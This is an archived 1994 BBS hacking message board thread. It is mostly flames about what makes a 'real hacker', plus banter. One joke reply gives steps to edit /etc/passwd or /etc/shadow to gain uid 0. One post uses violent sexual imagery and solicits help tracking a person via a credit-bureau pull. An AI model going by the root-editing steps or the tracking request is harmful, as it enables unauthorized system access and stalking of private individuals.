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Date: Sun Aug 7 15:43:53 1994
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|
might be on the wrong thread here but can anyone scan a GIF of me (without
|
|
perversly altering it) into yabbs......thanx
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|
balistic
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From Skywise@yabbs Sun Aug 7 18:07:41 1994
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From: Skywise@yabbs
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To: K0d3R@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 18:07:41 1994
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nice try bart... ;)
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*smiggle*
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From Mystery@yabbs Sun Aug 7 18:46:51 1994
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From: Mystery@yabbs
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|
To: Natalie@yabbs
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Subject: re: Sorry
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Date: Sun Aug 7 18:46:51 1994
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|
That's good to know... ;)
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From Mystery@yabbs Sun Aug 7 18:47:40 1994
|
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From: Mystery@yabbs
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To: Typhon@yabbs
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Subject: re: Hitting On Natalie
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Date: Sun Aug 7 18:47:40 1994
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Hehehehe.... Go for it. ;)
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From Mystery@yabbs Sun Aug 7 18:49:53 1994
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From: Mystery@yabbs
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To: balistic@yabbs
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Subject: re: Sorry
|
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Date: Sun Aug 7 18:49:53 1994
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Not all 14 year olds are like that, but some people have that middle
|
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school frame of mind and really show their lack of maturity. I personally
|
|
would rather see some flame message base where people can take their
|
|
complaints and flames... Myself, I won't flame unless someone has given
|
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me a reason to.
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From Justbob@yabbs Sun Aug 7 19:41:44 1994
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From: Justbob@yabbs
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To: cosmos@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 19:41:44 1994
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Yeah, but ftp'ed in isn't exactly plain english either?
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ftping to yabbs?
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And yeah, he got busted for ftp because he didn't have a utmp entry and
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yabbs has a hack mesg base.
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From htoaster@yabbs Sun Aug 7 20:21:24 1994
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From: htoaster@yabbs
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To: Justbob@yabbs
|
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 20:21:24 1994
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|
In message re: FuQin NaRqS, Justbob said:
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> Yeah, but ftp'ed in isn't exactly plain english either?
|
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> ftping to yabbs?
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> And yeah, he got busted for ftp because he didn't have a utmp entry and
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> yabbs has a hack mesg base.
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his sysadmin seems overly cautious if he is worried about someone ftping
|
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to phred.org because yabbs (which can only be accessed through telnet) has
|
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a hack message base (which only a small group of yabbs users read anyway).
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The ftp site really has very little to offer unless you want source code to
|
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yabbs or gifs of some of the users.
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alex
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From cosmos@yabbs Sun Aug 7 20:30:54 1994
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From: cosmos@yabbs
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To: Justbob@yabbs
|
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Subject: re: FuQin NaRqS
|
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Date: Sun Aug 7 20:30:54 1994
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|
|
In message re: FuQin NaRqS, Justbob said:
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> Yeah, but ftp'ed in isn't exactly plain english either?
|
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> ftping to yabbs?
|
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> And yeah, he got busted for ftp because he didn't have a utmp entry and
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> yabbs has a hack mesg base.
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Oh christ. By busted, who do you mean. I doubt this would hold up in
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court...
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Cosmos
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From Slaughte@yabbs Sun Aug 7 20:42:48 1994
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From: Slaughte@yabbs
|
|
To: all@yabbs
|
|
Subject: My Name
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Date: Sun Aug 7 20:42:48 1994
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|
Okay I've been asking around for this for a long time and nobody
|
|
seems to be able to help me. I once had a command that would change my
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Account name. All it does is change the name that appears in messages,
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finger, posts etc.
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Would anybody be able to tell me what that command was? Thanks.
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|
Send the reply to bgorski@emr1.emr.ca
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From Steyr@yabbs Sun Aug 7 21:28:32 1994
|
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From: Steyr@yabbs
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|
To: Slaughte@yabbs
|
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Subject: re: My Name
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Date: Sun Aug 7 21:28:32 1994
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chfn
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From Natalie@yabbs Sun Aug 7 23:48:28 1994
|
|
From: Natalie@yabbs
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|
To: Mystery@yabbs
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|
Subject: re: Hitting On Natalie
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Date: Sun Aug 7 23:48:28 1994
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*wink*
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natalie
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From Natalie@yabbs Sun Aug 7 23:50:46 1994
|
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From: Natalie@yabbs
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|
To: Slaughte@yabbs
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|
Subject: re: My Name
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Date: Sun Aug 7 23:50:46 1994
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woohoo!!! I actually know an answer! yesyesyes!!!!!!!!!!!!!
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to change the account name( ie, the name that appears on yer email)
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justtype chfn at the prompt....thatSHOULD work (itdoes on my system)
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yes...i AM THE HACKER BABE!!!!!!!!!!
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*giggles insanely*
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natalie
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From cosmos@yabbs Mon Aug 8 00:02:52 1994
|
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From: cosmos@yabbs
|
|
To: Natalie@yabbs
|
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Subject: re: My Name
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Date: Mon Aug 8 00:02:52 1994
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No No natalie. This is #hack. To change your name you have to do the
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following:
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% run Rd|sT S(r|Pt h3r3
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# vi /etc/shadow (or god knows what shadow file - or /etc/passwd)
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# change group and uid to 0
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% id
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% uid=0 gid=0
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There. Now your name is changed and you have root access.
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Cosmos
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;)
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From Natalie@yabbs Mon Aug 8 02:04:57 1994
|
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From: Natalie@yabbs
|
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To: cosmos@yabbs
|
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Subject: re: My Name
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Date: Mon Aug 8 02:04:57 1994
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oh fine *sob* just burst my bubble. and i was feeling so smart too. *sob*
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YOU JUST RUINED MY DAY, YOU BUTTHEAD!!!! NEVER AGAIN WILL I CALL MYSELF
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YOUR HACKER BABE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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heehee
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;)
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damn i'm funny
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natalie
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From -DuCK-@yabbs Mon Aug 8 11:03:36 1994
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From: -DuCK-@yabbs
|
|
To: balistic@yabbs
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Subject: re: Sorry
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Date: Mon Aug 8 11:03:36 1994
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>
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> yes, unfortunatly many of the morons in my age bracket are lacking
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> in intelligence...:)
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>
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I agree, we need some more inteligent people in our age bracket..
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From -DuCK-@yabbs Mon Aug 8 11:04:28 1994
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From: -DuCK-@yabbs
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To: balistic@yabbs
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Subject: re: FuQin NaRqS
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Date: Mon Aug 8 11:04:28 1994
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>
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> I don't know what I'd do without my yabbs....sob
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>
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me niether.. :) I stay here too much.. What can i say?
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-- I'M HOOKED!!! --
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From htoaster@yabbs Mon Aug 8 11:50:19 1994
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From: htoaster@yabbs
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To: cosmos@yabbs
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Subject: re: My Name
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Date: Mon Aug 8 11:50:19 1994
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In message re: My Name, cosmos said:
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>
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> No No natalie. This is #hack. To change your name you have to do the
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> following:
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>
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> % run Rd|sT S(r|Pt h3r3
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> # vi /etc/shadow (or god knows what shadow file - or /etc/passwd)
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well, i would hope that you would run vipw, so that the shadow and real
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password files were in sync...
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> # change group and uid to 0
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> % id
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> % uid=0 gid=0
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>
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From cosmos@yabbs Mon Aug 8 14:27:20 1994
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From: cosmos@yabbs
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To: htoaster@yabbs
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Subject: re: My Name
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Date: Mon Aug 8 14:27:20 1994
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In message re: My Name, htoaster said:
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> In message re: My Name, cosmos said:
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> >
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> > No No natalie. This is #hack. To change your name you have to do the
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> > following:
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> >
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> > % run Rd|sT S(r|Pt h3r3
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> > # vi /etc/shadow (or god knows what shadow file - or /etc/passwd)
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> well, i would hope that you would run vipw, so that the shadow and real
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> password files were in sync...
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Blah. Yeah on a BSD system and most other "smart" systems yes, but some
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braindead sysv's like UnixWare et all dont have vipw or even better yet
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dont even use shadow...
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Tnx A.
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Cosmos
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From balistic@yabbs Mon Aug 8 15:49:13 1994
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From: balistic@yabbs
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To: Mystery@yabbs
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Subject: re: Sorry
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Date: Mon Aug 8 15:49:13 1994
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You f****** lamer!!! what do f****** mean you won't f****** flame unless
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given a f****** reason!!! :)
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just kidden...hehheh
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balistic
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From balistic@yabbs Mon Aug 8 15:54:58 1994
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From: balistic@yabbs
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To: -DuCK-@yabbs
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Subject: re: Sorry
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Date: Mon Aug 8 15:54:58 1994
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here here!
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From balistic@yabbs Mon Aug 8 15:56:29 1994
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From: balistic@yabbs
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To: -DuCK-@yabbs
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Subject: re: FuQin NaRqS
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Date: Mon Aug 8 15:56:29 1994
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ya know what DuCK? I just realized 70% of my freinds are on YABBS!!
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pretty sad huh :)
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From C.S.@yabbs Tue Aug 9 01:27:37 1994
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From: C.S.@yabbs
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To: maedhros@yabbs
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Subject: re: hacking
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Date: Tue Aug 9 01:27:37 1994
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In message hacking, maedhros said:
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>
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> Sorry for yet another flame on the base, I realize it's already been
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> flooded lately with them. I couldn't shut up anymore. And, BTW, I'm not
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> a hacker, so don't bother asking me to justify myself. I study, listen
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> and learn; perhaps someday...
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That was a pretty good flame though...
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From maedhros@yabbs Tue Aug 9 02:32:53 1994
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From: maedhros@yabbs
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To: C.S.@yabbs
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Subject: re: hacking
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Date: Tue Aug 9 02:32:53 1994
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In message re: hacking, C.S. said:
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> In message hacking, maedhros said:
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> > Sorry for yet another flame on the base, I realize it's already been
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> > flooded lately with them. I couldn't shut up anymore. And, BTW, I'm not
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> > a hacker, so don't bother asking me to justify myself. I study, listen
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> > and learn; perhaps someday...
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> That was a pretty good flame though...
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It's just that these crackers and warez kiddies are giving a bad name to a
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group they don't even belong too. I was rifling through comp.security
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tonight and listening to a bunch of sysadmins suggesting how to recover
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systems which "hackers" had destroyed. What the hell kind of hacker would
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willfully destroy files on someone's system. Granted, it is conceivable
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that a hacker might break into something: But maliciously corrupt and/or
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destroy data?! The problem is when these jerks do things like this and
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claim they are hackers. The media displays cases like this and the word
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hacker becomes tainted; synonymous with vandal.
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Maedhros /\
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/--\ "...and now, back to the regularly scheduled base..."
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/ \ sorry again, I'll shut up now...at least I'll try
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From kke@yabbs Tue Aug 9 03:29:21 1994
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From: kke@yabbs
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To: dialtone@yabbs
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Subject: re: Operation Sundevil
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Date: Tue Aug 9 03:29:21 1994
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Try rtfm.mit.edu... In the directory
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/pub/usenet-by-hierarchy/comp/dcom/telecom.... just a guess, I have the
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file on my computer...
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Killer Keebler Elf
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Please Don't Squeeze the Charmin
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From kke@yabbs Tue Aug 9 03:41:16 1994
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From: kke@yabbs
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To: all@yabbs
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Subject: Public Access Unix
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Date: Tue Aug 9 03:41:16 1994
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Call Pyromania -- Binghamton, NY's Only Free Unix Site
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Access on First Call -- Internet Email and Usenet by
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the End of August -- 607-763-3454
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Killer Keebler Elf
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never trust a moron
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From 'Drew@yabbs Tue Aug 9 11:23:00 1994
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From: 'Drew@yabbs
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To: natalie@yabbs
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Subject: re: nitting on ????
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Date: Tue Aug 9 11:23:00 1994
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what's this m'dear....I see how you are....
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*grin*
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'drew...
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From Natalie@yabbs Tue Aug 9 16:03:04 1994
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From: Natalie@yabbs
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To: 'Drew@yabbs
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Subject: re: nitting on ????
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Date: Tue Aug 9 16:03:04 1994
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nothing love...nothing at all...
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*smile*
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natalie
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who wonders why her emailbox is still lonely and empty
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From GPF@yabbs Tue Aug 9 17:14:28 1994
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From: GPF@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Tue Aug 9 17:14:28 1994
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In message gpf another yalk HO?, arachnoi said:
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>
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the level of maturity of your titles truly exemplifies your greatness...
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>
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> {Hahahaha, another r0dent speaks! tell us how great u are GPF! Tell
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warez puppy alphabet and language, interesting....
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> us how u hacked a Unix machine, along with every other 12 yr old with
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oh yup, you figured me out.... i'm a silly little system cracker who runs
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krad rdist scripts in hopes of being elite. that's me *smirk*
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> a modem. If u really want to impress me, try answering this: How does
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> Gould ENCORE computers pack their passwords? I'll will take a little
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oooooh, he's cracked worthless computers.... next he'll be asking me
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how to break into dynix/ptx
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that'll be a real useful tad of knowledge when UTX makes its big comeback...
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> more experience than dicking around on the school lameframe to anwer
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> that. I await your answer.}
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heheheh.... you're not even worth the flame....
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From Zbadba@yabbs Tue Aug 9 22:04:12 1994
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From: Zbadba@yabbs
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To: all@yabbs
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Subject: hmmm...
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Date: Tue Aug 9 22:04:12 1994
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I really love this message base.
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Seriously! It's about the best laff to be had on yabbs ('ceptwhen Cheech
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logs in, maybe. :))
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I don't post much here, mainly because my knowledge is relatively
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|
miniscule regarding all things unix. (ooh, been using unix for all of 6
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months. blah. not even scratching the surface. It'd be nice to
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install a BSD or even Linux on my system, but it'll have to wait until I
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have the time and the money. Right now, I have neither.)
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So I'll crawl back in my corner now, not a hacker but a user. Maybe I'll
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be more helpful when I know more. (Say, that is the point, isn't it? Not
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to give knowledge away, perhaps, but to teach and to learn (they're really
|
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the same thing, like mass and energy). Hmmm... maybe the point isn't just
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senseless flaming after all....)
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I wax palaverous. Continue the flames. I really need more good laughs in a
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day.
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From balistic@yabbs Wed Aug 10 13:29:43 1994
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From: balistic@yabbs
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To: all@yabbs
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Subject: hmmm...
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Date: Wed Aug 10 13:29:43 1994
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It's not the size of a man's modem that matters...
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:)
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balistic
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From dmonger@yabbs Wed Aug 10 13:49:56 1994
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From: dmonger@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 13:49:56 1994
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silly me, i guess i spent too much time programming and sysadmining and not
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enough learning silly acronyms.
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paint me a non-hacker
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drat
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-peter
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From Quetzal@yabbs Wed Aug 10 14:20:47 1994
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From: Quetzal@yabbs
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To: arachnoi@yabbs
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Subject: re: Cell switch software
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Date: Wed Aug 10 14:20:47 1994
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What kind of equipment do you use to program cell phones..
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From Quetzal@yabbs Wed Aug 10 14:24:34 1994
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From: Quetzal@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 14:24:34 1994
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What is there're packed in thier own juice to preserve freshness?
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I'LL TAKE REVERSE ENGINEERING FOR $400!
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From GPF@yabbs Wed Aug 10 17:38:25 1994
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From: GPF@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 17:38:25 1994
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heres a clue, since you seem to have a lack of one, hacking has nothing to do
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with memorizing obscure computer trivia, it is rather actually learning,
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pushing a system beyond it's limits, and doing things in ways that noone has
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done before.
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still amused and waiting for the next question arach pulls out of his big
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book of computter trivia,
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.....gpf.....
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From cosmos@yabbs Wed Aug 10 17:41:08 1994
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From: cosmos@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 17:41:08 1994
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You are really impressing me little boy. Trivia is the sign of the elite
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hacker aint it...
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You my friend fit into another category... Spend all day memorizing text
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articles and tidbits to "brag" about but couldnt equate anything itno a
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real experience. Have you ever had a system compromised? Ever find a
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flaw in OS design(excluding dos and solaris)....
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That my friend is what I call a true hacker. I think MIT does too...
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Cosmos
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From Skywise@yabbs Wed Aug 10 19:57:41 1994
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From: Skywise@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 19:57:41 1994
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In a previous mislet, Cosmos retorted...
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I think MIT does too
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Multiplex Informational Transfer (used by the COSMOS database to transfer
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top sekrit stuff to and from telco orafices) I mean offices
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From dmonger@yabbs Wed Aug 10 20:02:24 1994
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From: dmonger@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 20:02:24 1994
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> paint me a non-hacker {or even a long time sysadmin or programmer. Any
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> sysadmin with some experience would know what those two pieces of junk
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> are.
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> They plagued the computer world for over 30 yrs, and we still have them
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> laying around.}
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well there are plenty of sysadmin's and programmers in the real world
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that suck, i'll agree. But i'd still rather deal with them then loozer
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<= high-school students who learned all about hacking by reading 3l33t zines
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like phrack and don't bother to spend any time exploring or learning, just
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rote memorization.
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and i still fail to see how acronyms fit into hacking.
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-peter
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who is impressed that hackers have been given a worse name over the last several
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years by little know-nothing morons than by 30+ years of shitty programmers and
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administrators.
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From balistic@yabbs Wed Aug 10 20:46:10 1994
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From: balistic@yabbs
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To: dmonger@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 20:46:10 1994
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boooo yaaaaaa :)
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From balistic@yabbs Wed Aug 10 20:47:29 1994
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From: balistic@yabbs
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To: arachnoi@yabbs
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Subject: re: hmmm...
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Date: Wed Aug 10 20:47:29 1994
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ulp.....i've only got a 1200 :)
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From balistic@yabbs Wed Aug 10 20:49:30 1994
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From: balistic@yabbs
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To: GPF@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 20:49:30 1994
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gpf....pushing a system where no one has gone befor? do I smell hacker
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trek... :)
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From balistic@yabbs Wed Aug 10 20:52:10 1994
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From: balistic@yabbs
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To: all@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 20:52:10 1994
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dah...........ummm.........okay okay here's a good one....what's DOS stand
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for...huhhuh......:)
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From Justbob@yabbs Wed Aug 10 21:15:00 1994
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From: Justbob@yabbs
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To: cosmos@yabbs
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Subject: re: FuQin NaRqS
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Date: Wed Aug 10 21:15:00 1994
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Busted as in the security ppl came and asked him if he knew about it...not
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busted as in legal action pending.
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From Justbob@yabbs Wed Aug 10 21:25:27 1994
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From: Justbob@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 21:25:27 1994
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uh...yer pretty cool...huhuh...do you..uh...like know what IBM stands for?
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that'd be pretty cool..
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I know it's been said enuff already, but memorization of a bunch of
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acronymns & use of the S+up||) substitutions doth not a hacker make...
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(hey, that's pretty catchy...hrmmm...you know....I could get that
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published ;)
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From Natalie@yabbs Wed Aug 10 22:57:09 1994
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From: Natalie@yabbs
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To: Justbob@yabbs
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Subject: re: gpf another yalk HO?
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Date: Wed Aug 10 22:57:09 1994
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uh...doesn't IBM stand for _I_tty _B_itty _M_en?
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natalie
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From dmonger@yabbs Thu Aug 11 00:11:46 1994
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From: dmonger@yabbs
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To: Natalie@yabbs
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Subject: re: gpf another yalk HO?
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Date: Thu Aug 11 00:11:46 1994
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Itty Bitty bouncing Machine
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From Death@yabbs Thu Aug 11 02:08:17 1994
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From: Death@yabbs
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To: all@yabbs
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Subject: re: gpf another yalk HO?
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Date: Thu Aug 11 02:08:17 1994
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Well... I see that not much has changed in the last 100 messages...
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At least half of the flames are creative though...
|
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*sigh*
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Why doesn't everybody get off of their high horse and actually try
|
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to LEARN something out of this base? That's what it was meant for, as I
|
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recall....
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--Death
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From Death@yabbs Thu Aug 11 02:16:03 1994
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From: Death@yabbs
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To: htoaster@yabbs
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Subject: *sigh*
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Date: Thu Aug 11 02:16:03 1994
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Ah well... I was going to give an example of how this base could be used
|
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to learn, but it seems that you've deleted all of the old messages *sigh*
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oh well... That's life I s'pose.
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(Besides, all the flames are entertaining)
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--Death
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From brael@yabbs Thu Aug 11 05:55:01 1994
|
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From: brael@yabbs
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To: all@yabbs
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Subject: re: *sigh*
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Date: Thu Aug 11 05:55:01 1994
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w0uldn't u be st0ked if you came across an automated watts router
|
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where a blonde soundin b1mbo bitch just beggin u to rape AT&T sucessfully
|
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seduces u with , "Welcome to the Denver Technology Control Center.
|
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To reach the proper technology press 1 for the 4ESS, to reach the 5ESS
|
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press 2, press 3 for the CCS, press 4 for Cellular, press 5 for the Work
|
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Management group supporting WMS, press 5 for Adjunct, and 7 for DAC." and
|
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this girl wants it.. she fuckin wants 1t bad.. shes just beggin to get
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raped n pillaged by some slick lil telk0 phreak thats g0nna do er in every
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possible way concievable.. 0h w3ll random sick thoughts in my drunk..
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BTW, that router is avaliable to ANYONE who can help me track someone
|
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down with a CBI DTEC SS pull.. if so email me NOW!..
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brael@crl.com
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i love how every1 likesss to point at some1 else and say..
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ur not a hacker! u cant hack ur way outta a paper bag!! Mhhaaan ur
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|
14years old!!! and every1 always finishes with that little disclaimer
|
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that says... i know nothing, maybe someday..but believe me, i know
|
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what a real hacker is supposed to b..
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if ur still crackin security systems after 20 n making no $$ ur
|
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fucked in the head and need 2 find some new puzzles to let ur brain
|
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fiddle with..ok ill stop the meaningless banter right NOW.
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From Famine@yabbs Thu Aug 11 07:48:54 1994
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From: Famine@yabbs
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To: arachnoi@yabbs
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Subject: re: hmmm...
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Date: Thu Aug 11 07:48:54 1994
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Surely its bandWIDTH that matters not just the size of his modem!
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Famine(the silly)
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From rattler@yabbs Thu Aug 11 07:52:00 1994
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From: rattler@yabbs
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To: cosmos@yabbs
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Subject: re: Sorry
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Date: Thu Aug 11 07:52:00 1994
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In message re: Sorry, cosmos said:
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> The correct way to ask a question my young friend is "What is".
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>
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> Anyhow, ISC is Interactive UNIX from Sunsoft. If I remember correctly a
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> Sys V 3 clone from Sun before the advent of their latest flop Solaris.
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>
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> Cosmos
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>
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From htoaster@yabbs Thu Aug 11 12:45:27 1994
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From: htoaster@yabbs
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To: Death@yabbs
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Subject: re: *sigh*
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Date: Thu Aug 11 12:45:27 1994
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In message *sigh*, Death said:
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> Ah well... I was going to give an example of how this base could be used
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> to learn, but it seems that you've deleted all of the old messages *sigh*
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> oh well... That's life I s'pose.
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> (Besides, all the flames are entertaining)
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well, there are still one years worth of messages there. yabbs hasn't been
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able to delete messages since the client server version (due to the new
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message format), and the server client version has been running almost one
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year...(sept 1st as i recall)...
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i guess i wouldn't find it that hard to beleive that nothing interesting has
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been posted for one year though...
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alex
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From Typhon@yabbs Thu Aug 11 12:49:19 1994
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From: Typhon@yabbs
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To: Natalie@yabbs
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Subject: re: My Name
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Date: Thu Aug 11 12:49:19 1994
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Yoiu are many things.
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(Does this count as hitting on you?)
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Typhon the Usurper
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From Typhon@yabbs Thu Aug 11 12:50:01 1994
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From: Typhon@yabbs
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To: -DuCK-@yabbs
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Subject: re: Sorry
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Date: Thu Aug 11 12:50:01 1994
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We need more intelligent people in EVERY age bracket
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Typhon the Usurper
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From GPF@yabbs Thu Aug 11 13:01:00 1994
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From: GPF@yabbs
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To: Death@yabbs
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Subject: re: *sigh*
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Date: Thu Aug 11 13:01:00 1994
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In message *sigh*, Death said:
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> Ah well... I was going to give an example of how this base could be used
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> to learn, but it seems that you've deleted all of the old messages *sigh*
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> oh well... That's life I s'pose.
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> (Besides, all the flames are entertaining)
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>
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> --Death
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instead of just bitching how about starting a new thread?
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From Natalie@yabbs Thu Aug 11 15:56:03 1994
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From: Natalie@yabbs
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To: Typhon@yabbs
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Subject: re: My Name
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Date: Thu Aug 11 15:56:03 1994
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heehee.
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i dunno. ask drew.
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natalie
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:)
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From balistic@yabbs Thu Aug 11 16:55:18 1994
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From: balistic@yabbs
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To: Famine@yabbs
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Subject: re: hmmm...
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Date: Thu Aug 11 16:55:18 1994
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and whether it's internal or external :)
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From balistic@yabbs Thu Aug 11 16:56:42 1994
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From: balistic@yabbs
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To: Typhon@yabbs
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Subject: re: Sorry
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Date: Thu Aug 11 16:56:42 1994
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:)
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From brael@yabbs Thu Aug 11 17:24:12 1994
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From: brael@yabbs
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To: Death@yabbs
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Subject: re: *sigh*
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Date: Thu Aug 11 17:24:12 1994
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come death, teach us somethin will ya.. enuf bitchin, bring it on
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n e thing.. dont matter what..
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brael@crl.com
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From brael@yabbs Thu Aug 11 17:27:17 1994
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From: brael@yabbs
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To: Typhon@yabbs
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Subject: re: Sorry
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Date: Thu Aug 11 17:27:17 1994
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mayB but we sure as hell need less Usurper's in EVERY age bracket..
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Usurpers have gots 2 roll on..
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brael
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From -DuCK-@yabbs Thu Aug 11 20:56:44 1994
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From: -DuCK-@yabbs
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To: Typhon@yabbs
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Subject: re: Sorry
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Date: Thu Aug 11 20:56:44 1994
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hehe
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i agree
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From Xela@yabbs Thu Aug 11 23:53:47 1994
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From: Xela@yabbs
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To: GPF@yabbs
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Subject: maybe not
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Date: Thu Aug 11 23:53:47 1994
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"stick to anarchy, you don't make yourself look like an ass there..."
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Guess again, GPF. Arachnoying makes himself look like an ass everywhere,
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especially anarchy.
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X
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From Typhon@yabbs Fri Aug 12 08:44:37 1994
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From: Typhon@yabbs
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To: all@yabbs
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Subject: Usurpers
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Date: Fri Aug 12 08:44:37 1994
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If there were more Usurpers, there'd be less deadwood...
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Not a bad thing. (Of course, lo who is talking.)
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Typhon the Usurper
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From A.x.E.@yabbs Fri Aug 12 12:57:03 1994
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From: A.x.E.@yabbs
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To: all@yabbs
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Subject: ???
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Date: Fri Aug 12 12:57:03 1994
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Isn't there this slight problem with the publicity of this? What if
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someone wanted to ask some real q*ues+ktions, that couldn't be asked here?
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Sorry to sound so neophytish... I'm a newcomer...
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From htoaster@yabbs Fri Aug 12 13:02:49 1994
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From: htoaster@yabbs
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To: A.x.E.@yabbs
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Subject: re: ???
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Date: Fri Aug 12 13:02:49 1994
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In message ???, A.x.E. said:
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> Isn't there this slight problem with the publicity of this? What if
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> someone wanted to ask some real q*ues+ktions, that couldn't be asked here?
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> Sorry to sound so neophytish... I'm a newcomer...
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it depends on what you consider a real question...asking something like
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"so what is the real bug in that last cert report" is fine, asking something
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like "hey d00d, where i do i get the latest |<-rAd elite warez and codes"
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isn't...
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the first isn't illegal because it doesn't break anyones personal security
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or infringe on their rights. using it may be, but the information itself
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isn't.
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alex
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From robtelee@yabbs Fri Aug 12 19:37:31 1994
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From: robtelee@yabbs
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To: A.x.E.@yabbs
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Subject: re: ???
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Date: Fri Aug 12 19:37:31 1994
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For true conficetiality, take it to e-mail. Htoaster DOES NOT allow
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illegal activity to take place on here. It preserves the integrity of the
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sys.
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From Skywise@yabbs Sat Aug 13 11:59:59 1994
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From: Skywise@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 11:59:59 1994
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arachnoi spurted:
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I have held and repelled the barbarians at the gateway
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blah. GATEWAYS are easy pickins...I heard you can just hold down the
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insert button when they boot to reset the bios defaults.
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From GPF@yabbs Sat Aug 13 12:10:36 1994
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From: GPF@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 12:10:36 1994
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In message re: gpf another yalk HO?, arachnoi said:
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> Hahahahaha, aren't U and GPF embarresed that u don't know what a Teletype
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we don't? perhaps we haven't spent time looking up the names of teletypes
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in our big books of computer trivia, but i fail to see how that would
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indicate that we don't know what a teletype is
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> is? I didn't ask the question to pull from my years of trivia, but to
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your years of trivia eh? you mean your years of memorizing text files?
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somehow i'm not suprised....
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> point out that u can't HACK if u don't know what's out there. Otherwise u
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> end up like GPF, running scripts and not knowing much else. Get the point
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
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okokok i only have 99 lines
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> Cosmos? BTW daniel I have had and repelled the barbarians at the gateway
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> :)
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yeah, i'll bet you have.... by your statements you sound like nothing more
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than a ridiculous little 3l33t bbs shit who thinks that the key to hacking
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is memorizing useless, trivial (no pun intended), and outdated information.
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reciting net.trivia is one thing, hacking is another, and your failure to
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grasp that fact indicates to me that you're full of shit.
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From dmonger@yabbs Sat Aug 13 12:52:35 1994
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From: dmonger@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 12:52:35 1994
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In message re: gpf another yalk HO?, arachnoi said:
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> Hahahahaha, aren't U and GPF embarresed that u don't know what a Teletype
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> is?
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sure, whatever.
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> I didn't ask the question to pull from my years of trivia, but to
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> point out that u can't HACK if u don't know what's out there.
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oh of course, silly me. My point was that you should learn what's out there
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by exploring and not by just reading phrack and alt.2600
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> Otherwise u
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> end up like GPF, running scripts and not knowing much else.
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hmmm, tough choice ... memorize silly acronyms so i can sound cool to my
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loozer |-|/\|<3R friends, or learn some useful things on my own and write
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bots to annoy people
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you make the call
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-peter
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From GPF@yabbs Sat Aug 13 13:22:20 1994
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From: GPF@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 13:22:20 1994
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In message re: gpf another yalk HO?, arachnoi said:
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> Well u have proved your point GPF. You don't know much, your just another
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> yalk whore.
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oh now he's calling names again, tsk tsk.... much as i suspected, just another
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junior high school suburban kid playing hacker in an attempt to be a rebel.
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From GPF@yabbs Sat Aug 13 13:25:39 1994
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From: GPF@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 13:25:39 1994
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In message re: gpf another yalk HO?, arachnoi said:
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> Hey that was my Gateway u just hacked :)
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again, you demonstrate your ignorance by misusing words, the proper word
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here is "cracked"... you demonstrate again that you are nothing more than
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a child playing hacker after he heard about on tv.
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........gpf........
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he who finds this all quite amusing.
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From Xela@yabbs Sat Aug 13 14:15:05 1994
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From: Xela@yabbs
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To: arachnoi@yabbs
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Subject: re: maybe not
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Date: Sat Aug 13 14:15:05 1994
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"U are the least qualified around here."
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Which is why I don't make a habit of posting here. I read, if something
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interests me.
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The only reason I posted was because you're trying to find greener
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pastures now that noone has any respect for you over in anarchy. Get
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real, los3r.
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X
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From cosmos@yabbs Sat Aug 13 15:39:38 1994
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From: cosmos@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 15:39:38 1994
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Is anyone else amused?? I sure am....
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Cosmos
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From dmonger@yabbs Sat Aug 13 15:45:48 1994
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From: dmonger@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 15:45:48 1994
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actually i'm rather sick of it.
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they never listen
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-peter
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From htoaster@yabbs Sat Aug 13 16:09:57 1994
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From: htoaster@yabbs
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To: robtelee@yabbs
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Subject: re: ???
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Date: Sat Aug 13 16:09:57 1994
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In message re: ???, robtelee said:
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> For true conficetiality, take it to e-mail.
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this doesn't mean email on yabbs either. i don't allow encrypted messages
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or illegal matter to go on in email...i do read messages...
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alex
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From Natalie@yabbs Sat Aug 13 16:12:24 1994
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From: Natalie@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
